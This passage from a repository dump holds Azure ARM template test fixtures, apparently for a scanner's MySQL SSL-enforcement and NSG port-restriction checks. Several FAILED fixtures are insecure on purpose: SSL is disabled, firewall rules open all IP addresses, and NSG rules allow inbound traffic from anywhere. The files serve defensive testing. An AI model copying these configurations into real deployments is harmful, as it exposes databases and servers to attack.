\"Name\": \"rule2\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-06-01\",\n          \"type\": \"subnets\",\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[parameters('subnetName')]\",\n          \"dependsOn\": [\n            \"[parameters('virtualNetworkName')]\"\n          ],\n          \"properties\": {\n            \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforMySQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('skuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[parameters('skuSizeMB')]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('mysqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('skuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        },\n        \"sslEnforcement\": \"Disabled\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[parameters('virtualNetworkRuleName')]\",\n          \"type\": \"virtualNetworkRules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n            \"ignoreMissingVnetServiceEndpoint\": true\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]\"\n          ]\n        }\n      ]\n    },\n    {\n      \"name\": \"[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]\",\n      \"type\": \"Microsoft.DBforMySQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]\"\n      ],\n      \"copy\": {\n        \"name\": \"firewallRulesCopy\",\n        \"mode\": \"Serial\",\n        \"batchSize\": 1,\n        \"count\": \"[length(variables('firewallrules').batch.rules)]\"\n      },\n      \"properties\": {\n        \"StartIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]\",\n        \"EndIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLServerSSLEnforcementEnabled/mysqlSSLEnforcementEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for MySQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku name \"\n      }\n    },\n    \"SkuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 5120,\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL Sku Size \"\n      }\n    },\n    \"SkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for MySQL sku family\"\n      }\n    },\n    \"mysqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"5.6\",\n        \"5.7\"\n      ],\n      \"defaultValue\": \"5.7\",\n      \"metadata\": {\n        \"description\": \"MySQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"MySQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_mysql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": {\n      \"batch\": {\n        \"rules\": [\n          {\n            \"Name\": \"rule1\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          },\n          {\n            \"Name\": \"rule2\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-06-01\",\n          \"type\": \"subnets\",\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[parameters('subnetName')]\",\n          \"dependsOn\": [\n            \"[parameters('virtualNetworkName')]\"\n          ],\n          \"properties\": {\n            \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforMySQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('skuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[parameters('skuSizeMB')]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('mysqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('skuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        },\n        \"sslEnforcement\": \"Enabled\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[parameters('virtualNetworkRuleName')]\",\n          \"type\": \"virtualNetworkRules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n            \"ignoreMissingVnetServiceEndpoint\": true\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]\"\n          ]\n        }\n      ]\n    },\n    {\n      \"name\": \"[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]\",\n      \"type\": \"Microsoft.DBforMySQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]\"\n      ],\n      \"copy\": {\n        \"name\": \"firewallRulesCopy\",\n        \"mode\": \"Serial\",\n        \"batchSize\": 1,\n        \"count\": \"[length(variables('firewallrules').batch.rules)]\"\n      },\n      \"properties\": {\n        \"StartIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]\",\n        \"EndIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleHTTPAccessRestricted/NSGRulePortAccessRestricted-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"14.04.4-LTS\",\n      \"allowedValues\": [\n        \"16.04-LTS\",\n        \"14.04.4-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values are: 16.04-LTS, 14.04.4-LTS.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"String used as a base for naming resources. Must be 3-61 characters in length and globally unique across Azure. A hash is prepended to this string for some resources, and resource-specific information is appended.\"\n      },\n      \"maxLength\": 61\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"maxValue\": 100\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"authenticationType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"sshPublicKey\",\n      \"allowedValues\": [\n        \"sshPublicKey\",\n        \"password\"\n      ],\n      \"metadata\": {\n        \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"adminPasswordOrKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"namingInfix\": \"[toLower(substring(concat(parameters('vmssName'), uniqueString(resourceGroup().id)), 0, 9))]\",\n    \"longNamingInfix\": \"[toLower(parameters('vmssName'))]\",\n    \"jumpBoxName\": \"[concat(variables('namingInfix'), 'jbox')]\",\n    \"jumpBoxSAName\": \"[concat(uniqueString(concat(resourceGroup().id, variables('newStorageAccountSuffix'), 'jumpboxsa')), 'jb')]\",\n    \"jumpBoxOSDiskName\": \"[concat(variables('jumpBoxName'), 'osdisk')]\",\n    \"jumpBoxVHDContainerName\": \"[concat(variables('jumpBoxName'), 'vhd')]\",\n    \"jumpBoxIPConfigName\": \"[concat(variables('jumpBoxName'), 'ipconfig')]\",\n    \"jumpBoxNicName\": \"[concat(variables('jumpBoxName'), 'nic')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"newStorageAccountSuffix\": \"[concat(variables('namingInfix'), 'sa')]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnetPrefix\": \"10.0.0.0/24\",\n    \"virtualNetworkName\": \"[concat(variables('namingInfix'), 'vnet')]\",\n    \"subnetName\": \"[concat(variables('namingInfix'), 'subnet')]\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPAddressName\": \"[concat(variables('namingInfix'), 'pip')]\",\n    \"nicName\": \"[concat(variables('namingInfix'), 'nic')]\",\n    \"ipConfigName\": \"[concat(variables('namingInfix'), 'ipconfig')]\",\n    \"osType\": {\n      \"publisher\": \"Canonical\",\n      \"offer\": \"UbuntuServer\",\n      \"sku\": \"[parameters('ubuntuOSVersion')]\",\n      \"version\": \"latest\"\n    },\n    \"imageReference\": \"[variables('osType')]\",\n    \"linuxConfiguration\": {\n      \"disablePasswordAuthentication\": true,\n      \"ssh\": {\n        \"publicKeys\": [\n          {\n            \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n            \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n          }\n        ]\n      }\n    },\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"80\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"comments\": \"Wildcard protocol rule\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"80\",\n              \"protocol\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('jumpBoxSAName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2015-06-15\",\n      \"properties\": {\n        \"accountType\": \"[variables('storageAccountType')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[variables('longNamingInfix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('jumpBoxNicName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\",\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[variables('jumpBoxIPConfigName')]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('jumpBoxName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-03-30\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('jumpBoxSAName'))]\",\n        \"[concat('Microsoft.Network/networkInterfaces/', variables('jumpBoxNicName'))]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSku')]\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('jumpBoxName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n          \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": \"[variables('imageReference')]\",\n          \"osDisk\": {\n            \"name\": \"[concat(variables('jumpBoxOSDiskName'),'_OSDisk')]\",\n            \"caching\": \"ReadWrite\",\n            \"createOption\": \"FromImage\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',variables('jumpBoxNicName'))]\"\n            }\n          ]\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[concat('http://',variables('jumpBoxSAName'),'.blob.core.windows.net')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"[variables('namingInfix')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-03-30\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": \"true\",\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\"\n            },\n            \"imageReference\": \"[variables('imageReference')]\"\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[variables('namingInfix')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n            \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]\"\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"[variables('nicName')]\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"[variables('ipConfigName')]\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]\"\n                        }\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleHTTPAccessRestricted/NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json\",\n  \"contentVersion\": \"0.0.0.1\",\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\"\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n\n    \"webServerSubnetName\": {\n      \"type\": \"string\"\n    },\n    \"webServerSubnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n    \"webServerNsgName\": {\n      \"type\": \"string\"\n    },\n    \"testRunnerIpRange\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"*\"\n\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[parameters('vnetName')]\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('webServerSubnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"[parameters('webServerNsgName')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"DefaultDeny\",\n            \"properties\": {\n              \"description\": \"Denies all inbound traffic not matched by a previous rule\",\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"access\": \"Deny\",\n              \"priority\": 4096,\n              \"direction\": \"Inbound\"\n            }\n          }\n        ]\n      }\n    },\n\n    {\n      \"name\": \"[concat(parameters('webServerNsgName'),'/allowAllFromAll')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups/securityRules\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n      \"condition\": \"[greater(length(parameters('testRunnerIpRange')),0)]\",\n\n      \"apiVersion\": \"2019-11-01\",\n      \"properties\": {\n        \"description\": \"nsgRuleDescription\",\n        \"protocol\": \"tcp\",\n        \"sourcePortRange\": \"*\",\n        \"destinationPortRange\": \"*\",\n        \"sourceAddressPrefix\": \"[parameters('testRunnerIpRange')]\",\n        \"destinationAddressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n        \"access\": \"Allow\",\n        \"priority\": 100,\n        \"direction\": \"Inbound\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleHTTPAccessRestricted/NSGRulePortAccessRestricted-RULE-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json\",\n  \"contentVersion\": \"0.0.0.1\",\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\"\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n\n    \"webServerSubnetName\": {\n      \"type\": \"string\"\n    },\n    \"webServerSubnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n    \"webServerNsgName\": {\n      \"type\": \"string\"\n    },\n    \"testRunnerIpRange\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"*\"\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[parameters('vnetName')]\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('webServerSubnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"[concat(parameters('webServerNsgName'),'/allow443FromAll')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups/securityRules\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n      \"condition\": \"[greater(length(parameters('testRunnerIpRange')),0)]\",\n\n      \"apiVersion\": \"2019-11-01\",\n      \"properties\": {\n        \"description\": \"nsgRuleDescription\",\n        \"protocol\": \"tcp\",\n        \"sourcePortRange\": \"*\",\n        \"destinationPortRange\": \"443\",\n        \"sourceAddressPrefix\": \"[parameters('testRunnerIpRange')]\",\n        \"destinationAddressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n        \"access\": \"Allow\",\n        \"priority\": 100,\n        \"direction\": \"Inbound\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleRDPAccessRestricted/NSGRulePortAccessRestricted-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"14.04.4-LTS\",\n      \"allowedValues\": [\n        \"16.04-LTS\",\n        \"14.04.4-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values are: 16.04-LTS, 14.04.4-LTS.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"String used as a base for naming resources. Must be 3-61 characters in length and globally unique across Azure. A hash is prepended to this string for some resources, and resource-specific information is appended.\"\n      },\n      \"maxLength\": 61\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"maxValue\": 100\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"authenticationType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"sshPublicKey\",\n      \"allowedValues\": [\n        \"sshPublicKey\",\n        \"password\"\n      ],\n      \"metadata\": {\n        \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"adminPasswordOrKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"namingInfix\": \"[toLower(substring(concat(parameters('vmssName'), uniqueString(resourceGroup().id)), 0, 9))]\",\n    \"longNamingInfix\": \"[toLower(parameters('vmssName'))]\",\n    \"jumpBoxName\": \"[concat(variables('namingInfix'), 'jbox')]\",\n    \"jumpBoxSAName\": \"[concat(uniqueString(concat(resourceGroup().id, variables('newStorageAccountSuffix'), 'jumpboxsa')), 'jb')]\",\n    \"jumpBoxOSDiskName\": \"[concat(variables('jumpBoxName'), 'osdisk')]\",\n    \"jumpBoxVHDContainerName\": \"[concat(variables('jumpBoxName'), 'vhd')]\",\n    \"jumpBoxIPConfigName\": \"[concat(variables('jumpBoxName'), 'ipconfig')]\",\n    \"jumpBoxNicName\": \"[concat(variables('jumpBoxName'), 'nic')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"newStorageAccountSuffix\": \"[concat(variables('namingInfix'), 'sa')]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnetPrefix\": \"10.0.0.0/24\",\n    \"virtualNetworkName\": \"[concat(variables('namingInfix'), 'vnet')]\",\n    